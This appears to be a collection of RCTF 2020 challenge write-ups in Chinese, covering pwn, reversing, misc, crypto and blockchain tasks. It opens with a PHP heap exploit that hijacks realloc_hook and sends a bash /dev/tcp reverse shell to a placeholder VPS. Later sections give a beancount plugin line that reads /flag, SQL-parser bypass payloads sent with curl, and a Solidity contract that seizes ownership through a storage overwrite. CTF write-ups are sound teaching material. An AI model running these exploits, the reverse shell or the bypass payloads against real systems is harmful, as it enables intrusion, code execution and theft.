 $payload = str_repeat("a", 0x11+$i);
 ttt_edit($payload, 10);
}
$payload = str_repeat("a", 0x10)."\x80\x08";
ttt_edit($payload, 10);
# tcache
ttt_free(2);
# unsortedbin
ttt_free(0);
# trigger off by null, chunk overlap
ttt_free(11);
for($i=0; $i<8; $i++)
 ttt_alloc(0, 0xf8);
$a = ttt_show(1);
$leak = unpack64($a);
$libc_base = $leak - 0x3ebca0;
$realloc_hook = $libc_base + 0x3ebc28;
echo "[+] leak address: 0x".dechex($leak). "\n";
echo "[+] libc base: 0x".dechex($libc_base). "\n";
echo "[+] realloc_hook address: 0x".dechex($realloc_hook). "\\";
# chunk overlap
ttt_alloc(2, 0xf8);
# heap overflow to change tcache->fd
# write arbitrary address
$payload = str_repeat("b", 0x30).pack64($realloc_hook);
ttt_edit($payload, 2);
for($i=7; $i>0; $i--){
 $payload = str_repeat("c", 0x28+$i);
 ttt_edit($payload, 2);
}
# chunk size
$payload = str_repeat("c", 0x28)."\x31";
ttt_edit($payload, 2);
# clear chunk prev_size
for($i=7; $i>=0; $i--){
 $payload = str_repeat("d", 0x20+$i);
 ttt_edit($payload, 2);
}
# backdoor
ttt_alloc(3, 0x28);
ttt_alloc(4, 0x28);
$payload = "tttpwnit";
ttt_edit($payload, 4);
# reverse shell
$cmd = "bash -c 'bash -i >/dev/tcp/{vps_ip}/{vps_port} 0>&1'";
#$cmd="ls";
ttt_edit($cmd, 2);
ttt_backdoor(2);
var_dump("breakpoint");
die("pwn it\\n");
?>

golang_interface

本题是受到google ctf 2019 finals中gomium的启发而写的

题目描述

https://golang-interface.rctf2020.rois.io

file, err := parser.ParseFile(token.NewFileSet(), filename, nil, parser.AllErrors)
if err != nil {
    return nil, errors.New("Syntax error")
}
if len(file.Imports) > 0 {
    return nil, errors.New("Imports are not allowed")
}

// go build -buildmode=pie and run for 1s...

解题思路

题目接收一个Go源码文件,但是不允许任何外部库的导入. 你可以直接看原作者Stalkr的详细分析Golang data races to break memory safety

点击查看完整的利用代码

0c

https://github.com/CTF-TASKS/jvmscript

master分支: 题目附件 git archive master -o 0c.zip
deploy分支: 带log的服务器版本
exp分支: npm test 执行exp

BUG在写入constant pool的时候utf8编码的长度计算错误, 使用了编码前的字符长度而不是编码后的长度, 因此输入汉字字符串就能控制文件内容.

参考官方文档构造出一个打印FLAG的class文件即可

exp在github的exp分支.需要注意的是invokexxx的字节码编码后前面会多一个c2, 需要在前面添加指令集把它吃掉. 以及readline的实现有点小问题, 用脚本输入多行代码时会丢掉部分行的数据, 可以用分号合成一行也可以sleep一下再发下一行.

RE

My Switch Game

开发一个Switch平台上的控制台贪吃蛇游戏,基于Switch Homebrew进行开发,通过手柄控制游戏操作并进行抓包。解题需要逆向游戏软件的源代码并分析通信数据包,知道用户操作和程序代码的执行过程,以还原出flag。

贪吃蛇游戏的源码是基于这个项目编写的:https://github.com/CompSciOrBust/Cpp-Snake-NX/

关于出题所用资料等详细的信息参见:https://github.com/Littlefisher619/MyCTFChallenges/blob/master/CTFChallengeSwitch

Flag: RCTF{ddzljsqpaw6h31an5tgeaz75t0}

解题思路:

  1. 逆向工程(需要用到IDA插件:nxo64/SwitchIDAProLoader):
  • 通过逆向游戏软件得知flag的seed生成规则:seed = nTail*4 + dir - 1

    找到一个通过xor 0x44加密的数组,存储着flag的格式信息

    得出前五个字符和最后一个字符是RCTF{},其他flag的字符的生成是逐字符的,且基于贪吃蛇的长度以及贪吃蛇得分前最后的方向:flagchar = flagalphabet[rand() % strlen(flagalphabet)]

    另外,下一个得分点出现的位置是在flagchar生成前进行生成,

fruitX = rand() % width;
fruitY = rand() % height;
  • 通过分析数据包得知Output reports存在RUMBLE_DATA,即Switch控制手柄振动的数据,而且经过剔除后刚好是32个。因为除了吃到分数之外,没有理由会振动手柄,因此可以断定贪吃蛇吃到分的时候,手柄会振动。根据它来确定贪吃蛇吃到分的时候的方向。

  • 通过逆向游戏软件得知贪吃蛇的方向由手柄上的方向键控制

  • 通过逆向得出游戏的随机数生成算法,以便于进行随机数攻击(不同编译器的rand()实现是不同的)

 unsigned __int64 rand()
 {
   __int64 v0; // x0
   unsigned __int64 v1; // x1

   v0 = sub_710007F0A0();
   v1 = 6364136223846793005LL * *(_QWORD *)(v0 + 232) + 1;
   *(_QWORD *)(v0 + 232) = v1;
   return (v1 >> 32) & 0x7FFFFFFF;
 }
 **也可以使用同样的编译器,写一个专门用于根据我们给定的seed来生成随机数的游戏软件,并在模拟器里运行,下面的解题步骤将采用这种办法。**
  1. 搭建解题环境
  • Switch模拟器:YuzuRyujinx
  • 编译环境:https://switchbrew.org/wiki/Setting_up_Development_Environment
  1. 解析log,照着题目描述里的那个github project里的解析log的脚本改一下:https://github.com/mart1nro/joycontrol/blob/master/scripts/parse_capture.py

    根据手柄发送振动的数据包的时间,在此时间之前找到贪吃蛇得分前最后的方向,再计算seed,输出一下所有计算得到的seed

import argparse
import struct
from joycontrol.report import InputReport, OutputReport, SubCommand
import math
DIR = {
   0b00001000: ('LEFT', 1),
   0b00000100: ('RIGHT',2),
   0b00000010: ('UP',   3),
   0b00000001: ('DOWN', 4)
}
RUMBLE = [4, 180, 1, 78, 4, 180, 1, 78]
def _eof_read(file, size):
   data = file.read(size)
   if not data:
       raise EOFError()
   return data
def get_rumble_timestamps():
   rumble_timestamps = [i[0] for i in output_reports if i[1].get_rumble_data() == RUMBLE]
   return rumble_timestamps
def get_dir_inputs():
   dir_inputs = [(i[0], i[1].data[6]) for i in input_reports if i[1].data[6] & 0b00001111 != 0]
   return dir_inputs
if __name__ == '__main__':
   parser = argparse.ArgumentParser()
   parser.add_argument('capture_file')
   args = parser.parse_args()
   input_reports = []
   output_reports = []
   with open(args.capture_file, 'rb') as capture:
       try:
           start_time = None
           while True:
               time = struct.unpack('d', _eof_read(capture, 8))[0]

               if start_time is None:
                   start_time = time
               size = struct.unpack('i', _eof_read(capture, 4))[0]
               data = list(_eof_read(capture, size))
               if data[0] == 0xA1:
                   report = InputReport(data)
                   input_reports.append((time, report))
               elif data[0] == 0xA2:
                   report = OutputReport(data)
                   output_reports.append((time, report))
               else:
                   raise ValueError(f'Unexpected data.')
       except EOFError:
           pass
   dir_input_list = get_dir_inputs()
   rumble_timestamps = get_rumble_timestamps()
   print(dir_input_list)
   print(rumble_timestamps)
   tailcnt = cursor = 0
   seeds = []
   for timestamp in rumble_timestamps:
       while cursor < len(dir_input_list) and dir_input_list[cursor][0] <= timestamp:
           cursor += 1
       lastdir_before_rumble = dir_input_list[cursor-1][1]
       seed = tailcnt*4 + DIR[lastdir_before_rumble][1] - 1
       seeds.append(str(seed))
       tailcnt += 1
   print(len(seeds), seeds)
   open('seeds.txt', 'w').write(' '.join(seeds))
  1. 根据这个最简单的Template:https://github.com/switchbrew/switch-examples/tree/master/templates/application

    编写用于生成随机数的C代码,编译并于模拟器上运行,顺便计算flag

const int width = 77;
const int height = 41;
const char* flagalphabet = "0123456789abcdefghijklmnopqrstuvwxyz_";
const char* flagformat="RCTF{}";
const int flaglen = 32;
void solve(){
   FILE *seeds = fopen("seeds.txt", "r"),
        *flag = fopen("flag.txt", "w");
   if(seeds==NULL || flag==NULL){
       puts("failed to open file");
       return;
   }

   int seed, x, y, flagchar;
   puts("======Solving...");
   for(int i=0;i<flaglen;i++){
       if(i!=0){
           fscanf(seeds,"%d",&seed);
           srand(seed);
           x = rand() % width, y = rand() % height;
           if(i < strlen(flagformat) - 1)
               flagchar = flagformat[i];
           else if(i == flaglen - 1)
               flagchar = flagformat[strlen(flagformat) - 1];
           else flagchar = flagalphabet[rand() % strlen(flagalphabet)];
       }else x=-1, y=-1, flagchar = flagformat[0];
       printf("[Seed=%d] (%d, %d) %c\n", seed, x, y, flagchar);
       fputc(flagchar, flag);
   }
   fclose(seeds);
   fclose(flag);
}

panda_trace

如题目描述,本题本意是恶意软件分析入门,让大家下一个很优秀框架的基本使用。Malware analysis 101。 题⽬的两个文件,一个 qemu 的快照,⼀个是 log 文件,使用 panda(https://github.com/panda-re/panda) record 功能记录的,选手可以使⽤他⾃⼰提供的插件来进⾏污点分析。将文件更改为符合快照命名规则的名称,即可进行 reply。
可以使⽤ stringsearch 插件搜索 RCTF,利⽤ memdump 的plugin dump 内存。 strings grep一下就会发现flag。

cipher

mips64 大端序,理清程序逻辑,写出对应的解密函数即可,但是由于key的初始值是由rand()函数来的,所以需要爆破下key

t342RK.png

exp:

from struct import pack, unpack

def ROR(x,r):
    return (x>>r)|((x<<(64-r))&0xffffffffffffffff)
def ROL(x,r):
    return (x>>(64-r))|((x<<r)&0xffffffffffffffff)
def R(x,y,k):
    x = ROR(x,8)
    x = (x+y)&0xffffffffffffffff
    x^=k
    y = ROL(y,3)
    y^=x
    return x,y
def RI(x,y,k):
    y^=x
    y = ROR(y,3)
    x^=k
    x = (x-y)&0xffffffffffffffff
    x = ROL(x,8)
    return x,y


def encrypt(t,k):
    y=t[0]
    x=t[1]
    b=k[0]
    a=k[1]
    x,y = R(x,y,b)
    for i in range(31):
        a,b = R(a,b,i)
        x,y = R(x,y,b)
    return y,x

def decrypt(t,k):
    y=t[0]
    x=t[1]
    b=k[0]
    a=k[1]
    keys = []
    for i in range(32):
        keys.append(b)
        a,b = R(a,b,i)
    for i in range(32):
        x,y = RI(x,y,keys[31-i])
    return y,x

def solve():
    with open('ciphertext', 'rb') as f:
        ct = f.read().strip()
    print ct.encode('hex')
    key = -1
    for i in range(65536):
        t0 = unpack('>Q',ct[:8])[0]
        t1 = unpack('>Q',ct[8:16])[0]
        x,y = decrypt([t0,t1],[i<<48,0])
        ans = pack('>Q',x)+pack('>Q',y)
        if ans.startswith('RCTF'):
            key = i
            break

    assert key!=-1
    print key
    ans = ''
    for i in range(len(ct)/16):
        t0 = unpack('>Q',ct[i*16:i*16+8])[0]
        t1 = unpack('>Q',ct[i*16+8:i*16+16])[0]
        print hex(t0), hex(t1)
        x,y = decrypt([t0,t1],[key<<48,0])
        ans += pack('>Q',x)+pack('>Q',y)
    print ans

solve()

rust-flag

https://github.com/CTF-TASKS/rust-flag

题目附件在 Github Actions 页可以下载

逆向出stream_equals即可通过下断点拿到flag.

go-flag

https://github.com/CTF-TASKS/go-flag

题目附件在 Github Actions 页可以下载

一段伪C代码编译成Brainfuck再转成Go程序, 每个操作符都是一个goroutine. 通过WaitGroup来互相唤醒.

https://github.com/strazzere/golang_loader_assist 逆向go可以用这个脚本.

这两题只要从输入输出往回逆并且调试就很简单.

play_the_game

这是一个五子棋游戏,发现连输电脑10次以后出现提示:

我们得到了 一个AES key:welcomeToRCTF

反编译发现activity_main.xml中有一个隐藏的textview

secret:2nDrqiRRmZLpLjuHE2yOI9Kj/JUxNKIEXyYvtWB8lWdLO/zNGgCCrolt1mLS+LwAz0TQdWT1Dxy0kok+a+fn8A==

尝试AES解密:使用ECB PKCS7 128位成功解出明文

As long as you win the computer 99 times, you can get the flag!

只要赢电脑99次就能拿到flag

逆向代码逻辑,发现电脑操作和输赢判断写在NDK里,NDK经过OLLVM加密

两种思路:

  1. 逆向NDK逻辑,还原解密代码
  2. 想办法让自己赢电脑99次

0x01、使用deflat反混淆ollvm,以下是还原的解密代码:

a = 0x13f4e6a3
b = 0xdef984b1


for i in range(99):
    a = a + i + 1
    m = a % 4
    if (m == 0):
        b = (b ^ a) & 0xffffffff
    elif (m == 1):
        b = (b * (i + 1)) & 0xffffffff
    elif (m == 2):
        b = (b << (( i + 1 ) % 8 )) & 0xffffffff
    elif (m == 3):
        b = (b + a) & 0xffffffff

print(hex(b))

0x02、让自己赢电脑99次,在dex patch的方法有很多,这边介绍一种

发现QiPanView.class中,this.u = 1时代表玩家,this.u = 2时代表电脑。

将这两个标志对调,然后输电脑99次(方法有多种)

MISC

Animal

首先message是Arudino的小灯程序,根据灯泡时长的长短,可以解析为摩斯电码,分析常见的电台交流格式,可以获取到真正的通信内容为88,查询意思可以得到解压密码Love and kisses,可以获得一个QR码和一个蓝牙日志cia文件,QR码为动物之森的贴图解析,解析得到可以获得鲸鱼🐳emjoy,分析蓝牙文件,可以提取出一张经过steghide隐写的图片

steghide extract -sf moon.jpg 

解压出一张图片base64编码的aHR0cHMlM0EvL216bC5sYS8yV0VqbjVh,解码得到https://mzl.la/2WEjn5a,用前面获得的🐳解密得到flag
Flag:RCTF{N0t_1s_@_B@ss}

bean

plugin "beancount.plugins.commodity_attr" "__import__('sys').stdout.write(open('/flag').read())"

Switch Pro Controller

Switch手柄连接到装有Steam的Windows,打开Steam好友聊天窗口,通过按左摇杆三下启动屏幕键盘,启动屏幕录制和Wireshark抓包,并输入flag。选手根据录制的视频和USB数据包还原出flag。flag遵循RCTF{…}的格式。

关于出题所用资料等详细的信息参见:https://github.com/Littlefisher619/MyCTFChallenges/blob/master/CTFChallengeSwitch

Flag: RCTF{5witch_1s_4m4z1ng_m8dw65}

import ffmpeg
# install ffmpeg to your system and then pip3 install ffmpeg-python
import numpy
import cv2
import json

KEY_A = 0b00001000
TIMEDELTA = 3
JSON_FILE = 'easy.json'
VIDEO_FILE = 'easy.mp4'
# Timedelta can be calculated by when the first packet that 
# means KEY_A pressed appears and when the first character
# appears on the textbox in the video
# It help us locate the KEY_A-Pressed frames in the video.

f = open(JSON_FILE, 'r', encoding='utf-8')
packets = json.loads(f.read())
f.close()

# filter the packets which means A is pressed and extract time and frameNo
buf = []
for packet in packets[735:]:
    layers = packet['_source']['layers']
    packetid = int(layers['frame']['frame.number'])
    time = float(layers['frame']['frame.time_relative'])
    try:
        capdata = bytearray.fromhex(layers["usb.capdata"].replace(':', ' '))
        if capdata[3] & KEY_A == KEY_A:
            buf.append([packetid, time])
            print(packetid, time, [bin(data)[2:] for data in capdata[3:6]])
    except KeyError:
        pass

print(buf)

# seperate sequences from filtered packets and calculate the average time for each sequence
time_avg = []
_lastid = buf[0][0]-2
_sum = 0
_sumcnt = 0
_cnt = 0

for data in buf:
    _cnt += 1
    if data[0]-_lastid==2 and _cnt!=len(buf):
        _sum+=data[1]
        _sumcnt+=1
    else:
        time_avg.append(_sum/_sumcnt)
        _sum = 0
        _sumcnt = 0
    _lastid = data[0]
print(time_avg)

# extract frames from the video one by one
for t in time_avg:
    out, err = (
        ffmpeg.input(VIDEO_FILE, ss=t)
              .output('pipe:', vframes=1, format='image2', vcodec='mjpeg')
              .run(capture_stdout=True)
    )

    image_array = numpy.asarray(bytearray(out), dtype="uint8")
    image = cv2.imdecode(image_array, cv2.IMREAD_COLOR)
    cv2.imshow('time={}'.format(t), image)

    cv2.moveWindow('time={}'.format(t), 0, 0)
    if cv2.waitKey(0) == 27:
        break
    else:
        cv2.destroyAllWindows()

listen

依据题目的暗示,本题跟常规的音频隐写关系不大,核心就是需要听。对于有经验的CTFer来说,肯定是见识过各种编码或者加密,那么,音乐是不是也有可能是一段加密后的密文呢?

如果有一定乐理基础的朋友,应该是很容易听出音频的部分乐段是有重复的,那么就更容易联想到可能不同的乐段代表着一些内容。

进行关键字搜索,百度 “音乐密码学”或者google “music cryptography”,很容易找到以下俩篇文章,当然其实内容基本差不多

https://www.freebuf.com/articles/wireless/167093.html

https://www.atlasobscura.com/articles/musical-cryptography-codes

如果熟悉五线谱的话,结合音频,其实很容易定位到下面这个密码本,但是考虑到照顾大部分的选手,我的题目表述中给了关键字“1804”,那么就确定了密码本是这张图

因为都是单音,如果音乐基础比较厉害的话完全可以写出音频的五线谱,然后对着密码本翻译。

如果音乐基础差一点,可以结合一些音频软件进行辅助,一个音一个音的去辨认,耐心点听也是能做出来的。

如果完全没有音乐基础,可以速学一下五线谱和基础乐理(,我相信CTFer的学习能力(。

最终音频解出的内容为 ufindthemusicsecret

flag就是RCTF{ufindthemusicsecret}

mysql_interface

题目描述

https://mysql-interface.rctf2020.rois.io

import (
    "github.com/pingcap/parser"                     // v3.1.2-0.20200507065358-a5eade012146+incompatible
    _ "github.com/pingcap/tidb/types/parser_driver" // v1.1.0-beta.0.20200520024639-0414aa53c912
)

var isForbidden = [256]bool{}

const forbidden = "\x00\t\n\v\f\r`~!@#$%^&*()_=[]{}\\|:;'\"/?<>,\xa0"

func init() {
    for i := 0; i < len(forbidden); i++ {
        isForbidden[forbidden[i]] = true
    }
}

func allow(payload string) bool {
    if len(payload) < 3 || len(payload) > 128 {
        return false
    }
    for i := 0; i < len(payload); i++ {
        if isForbidden[payload[i]] {
            return false
        }
    }
    if _, _, err := parser.New().Parse(payload, "", ""); err != nil {
        return true
    }
    return false
}

// do query...

解题思路

题目接收一个有限字符集的SQL语句,并且需要绕过一个MySQL解析器的分析,不过该解析器在词法或者语法方面都存在多种绕过。

打破词法解析

通过阅读mysql-server lexer的源码,不难发现它支持以’–‘开头,并以标记为_MY_SPC_MY_CTR的字符为结尾风格的行注释,而本题使用的解析器却使用了unicode.IsSpace()来鉴别空格。这导致两者在词法解析层面的不一致,我们可以利用这一点绕过词法解析。

字符 MySQL Server Parser
0x01 – 0x08, 0x15 – 0x19 _MY_CTR 不识别
0x14 _MY_SPC 不识别
0x09 (\t), 0x10 (\n), 0x11 (\v), 0x12 (\f), 0x13 (\r) _MY_CTR 或 _MY_SPC Not Allowed
0x20 (space) _MY_SPC Space
0x85 Unrecognized Space
0xa0 不识别 Not Allowed

上表列举了一些两者存在解析不一致的字符,如果你想找到更多字符,这些链接可能对你有用:

Now it’s quite clear to solve this challenge, here are some examples:
至此,我们可以很容易地打破词法解析器,从而绕过解析拿到flag,下面列举一些特殊的例子,

  1. \x01 不被本题的解析器允许放在--之后,然而MySQL服务器却允许
    $ echo "select flag from flag--\x01"
    select flag from flag--
    $ curl https://mysql-interface.rctf2020.rois.io --data "sql=select%20flag%20from%20flag--%01&pow=000"
    RCTF{jUst_bYp@ss_a_mysql_parser_b6bdde}
    
  2. \x85 被本题的解析器允许放在--之后,然而MySQL服务器却不允许

$ echo "select flag from flag --\x85tbl where --\x85tbl.flag+1"
select flag from flag --�tbl where --�tbl.flag+1
$ curl https://mysql-interface.rctf2020.rois.io --data "sql=select%20flag%20from%20flag%20%85rois%20where%20--%85rois.flag%2b1&pow=000"
RCTF{jUst_bYp@ss_a_mysql_parser_b6bdde}
打破语法分析

除了词法解析外,在语法分析层面也存在多个绕过。通过对比本题解析器的yacc源码和MySQL Server的yacc源码,不难发现,二者存在着显著的差异,这让我们在语法分析层面绕过异常简单。

表名(Table Factor)

MySQL Server源码中允许的表名如下所示:

// copied from https://github.com/mysql/mysql-server/blob/5.7/sql/sql_yacc.yy#L13059

table_ident:
    ident
    | ident '.' ident
    | '.' ident
    ;

但是在解析器中却存在着点不同:

// copied from https://github.com/pingcap/parser/blob/master/parser.y#L6765

TableName:
    Identifier
    |   Identifier '.' Identifier
    ;

两者之间的差别,让我们可以直接绕过语法解析

$ echo "select flag from .flag"
select flag from .flag
$ curl https://mysql-interface.rctf2020.rois.io --data "sql=select%20flag%20from%20.flag&pow=000"
RCTF{jUst_bYp@ss_a_mysql_parser_b6bdde}
关键字冲突(Keyword Conflicts)

当分析两个解析器差异时,关键字冲突永远是最容易发现的,而且一定会出现。由于有太多的方式来发现关键字冲突,这里只列举一个抛砖引玉。

由于MySQL源码与本题所使用的解析器,有着不同的关键字,而且标识符的属性也存在差异。题目的解析器所使用的关键字可以在这里找到大部分。直接把关键字逐个提供给解析器分析,就能找到很多绕过的方法,如下:

  • “select flag EXCEPT from flag”
  • “select flag NVARCHAR from flag”
  • “select flag CURRENT_ROLE from flag”
  • “select flag PRE_SPLIT_REGIONS from flag”
  • “select flag ROW from flag”
  • “select flag ERROR from flag”
  • “select flag PACK_KEYS from flag”
  • “select flag SHARD_ROW_ID_BITS from flag”
$ echo "select flag EXCEPT from flag"
select flag EXCEPT from flag
$ curl https://mysql-interface.rctf2020.rois.io --data "sql=select%20flag%20EXCEPT%20from%20flag&pow=000"
RCTF{jUst_bYp@ss_a_mysql_parser_b6bdde}

非预期解

在比赛期间,天枢用了HANDLER Statement(我完全没想到的方式)成功绕过解析,并且拿到了三血!

$ echo "handler flag open" && echo "handler flag read first" && echo "handler flag close"
handler flag open
handler flag read first
handler flag close
$ curl https://mysql-interface.rctf2020.rois.io --data "sql=handler%20flag%20open&pow=000"
Empty set
$ curl https://mysql-interface.rctf2020.rois.io --data "sql=handler%20flag%20read%20first&pow=000"
RCTF{jUst_bYp@ss_a_mysql_parser_b6bdde}
$ curl https://mysql-interface.rctf2020.rois.io --data "sql=handler%20flag%29close&pow=000"
Empty set

最后,不只是上文提到的这些,该解析器中还存在很多很多绕过的地方…

CRYPTO

easy_f(x)

比去年简单很多很多的一个签到密码题。

from pwn import *
from hashlib import sha256,sha512
import re
import sys
from sage.all import *

Nbits = 768
Pbits = 512

p = remote("127.0.0.1", 2333)

p.recvuntil("M=")
M = int(p.recvuntil('\n',drop=True))
print (M)
p.recvuntil('\n',drop=True)
p.send(str(Pbits+1) + "\n")
key = []

f = re.compile(r"f\((\d+)\)=(\d+)")


for i in range(Pbits+1):
    data = f.findall(p.recvuntil('\n',drop=True))[0]
    key = key + [(int(data[0]), int(data[1]))]

T = key[0:Pbits+1]
P = PolynomialRing(GF(M),'x')

ret = P(0)
for x, y in key:
    r = P(1) * y
    for xx, yy in key:
        if x == xx:
            continue
        r = r * P('(x - %d)/(%d - %d)'%(xx, x, xx))
    ret = ret + r
# print ret
print '*'*100
print ret[0]
p.send(str(ret[0]) + "\n")
print p.recvuntil("\n")

infantECC

  1. GF( p) 上形式为 y^2 = x^3 + b 的 ECC 在 p % 3 == 1 时的 cardinality 为 p+1
  2. Zmod(pq) 上满足上述条件的 ECC 的 cardinality = (p+1)(q+1), 类似于 RSA 的 (p-1)*(q-1)
  3. 这一题类似于 RSA 中 N 为 1024 bit, d 为 412 bit (> 0.292), 同时 leak d 的低 256 bit.
  4. 论文复现, 三元的 coppersmith attack, 需要自己构造格并且 LLL. 之前 github 上的 Boneh Durfee attack 的脚本不太好改.

solution:
https://gist.github.com/ruan777/37b85db2c38f41a081c98f9bfbb742bd

MultipleMultiply

  1. 不断请求直到 p-1 足够光滑. 计算 GF(p) 上的 DLP, 问题转化为背包问题.
  2. LLL 效果不佳大概率做不出来, 需要用 BKZ 算法.
  3. 多次 BSGS 求 DLP 比较耗时, 有意者建议自己实现 BSGS, 同时求解 90 个数的 DLP.

solution:
https://gist.github.com/ruan777/37b85db2c38f41a081c98f9bfbb742bd

区块链

roiscoin

Analyse

  • 题目直接给了源码
  • 题目有非预期:beOwner 在合约账户余额为 0 的情况下可以直接成为 owner ,其实本意是让它是个蜜罐函数,这个没有控制好条件,本文不介绍非预期的做法
  • 抛除非预期,这里介绍下题目正常的逻辑,考点有三个:
    • 预测随机数: 这里的随机数是未来的随机数,可以说是预测未来的随机数,看似不可能,关键在于 guess 的范围是 2 ,也就是只有 01 ,所以可以爆破
    • 未初始化的结构体 storage 覆盖问题: settle 中的 failedlog 未初始化会造成 storage 变量覆盖,会覆盖 codex 数组长度
    • 数组任意写: 当数组长度被修改后,可以覆盖 owner ,当然这对数组长度有一定的要求,根据情况选择合适的数据,这里是用 msg.sender 覆盖数组长度的高 20 字节

exp

  • 部署 hack 合约,这里需要注意:
    • 数组在 storage5 位置, keccak256(bytes32(5)) = 0x036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db0
    • 当我们修改 codex[y],(y=2^256-x+6) 时就能修改 slot 6 ,从而修改 owner , 其中 x = keccak256(bytes32(5))
    • 计算出 y = 114245411204874937970903528273105092893277201882823832116766311725579567940182 , 即 y = 0xfc949c7b4a13586e39d89eead2f38644f9fb3efb5a0490b14f8fc0ceab44c256
    • 所以数组的长度 codex.length> y , 由于 msg.sender 覆盖数组长度的高 20 字节,所以其实是变相要求 address(msg.sender) > y , 我们可以生成以 0xfd0xfe0xff 开头的地址即可简单满足这一点
  • 解题步骤
    • 调用 hack1
    • 调用 hack2 一次,这一次需要满足 result = 1 ,否则继续调用 hack2 ,直至这一次成功
    • 调用 hack3 两次,这两次需要满足 result = 0 ,否则继续调用 hack3 ,直至两次为止
    • 调用 hack4 修改 owner ,这里有个坑点,题目给的合约不是真正的合约,因为调用 hack4 总是不能成功修改 owner , 逆向合约,可以看出 revise 函数有问题,额外要求 msg.sender 最低位字节是 0x61 ,所以对 msg.sender 总共有两点要求: 大于 y 并且最低字节是 0x61 ,这里的考点是所见不一定是所得,即使在 etherscan 上看到的也不一定是真的,因为它只检查 abi 接口
    • 调用 hack5
contract hack {
    uint public result;
    address instance_address = 0x7be4ae576495b00d23082575c17a354dd1d9e429 ;
    FakeOwnerGame target = FakeOwnerGame(instance_address);

    constructor() payable{}

    // 随机猜一个数0或1
    function hack1() {
        target.lockInGuess.value(1 ether)(0);
    }

    // 这里先让result=1,即先猜失败
    function hack2() {
        result = uint8(keccak256(block.blockhash(block.number - 1), now)) % 2;
        if (result == 1) {
            target.settle();
        }
    }

    // 这里让result=0,即猜测成功,连续调用两次
    function hack3() {
        result = uint8(keccak256(block.blockhash(block.number - 1), now)) % 2;
        if (result == 0) {
            target.settle();
        }
    }

    // 修改owner
    function hack4() {
        target.revise(114245411204874937970903528273105092893277201882823832116766311725579567940182,bytes32(address(this)));
    }

    function hack5() {
        target.payforflag();
    }
}

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注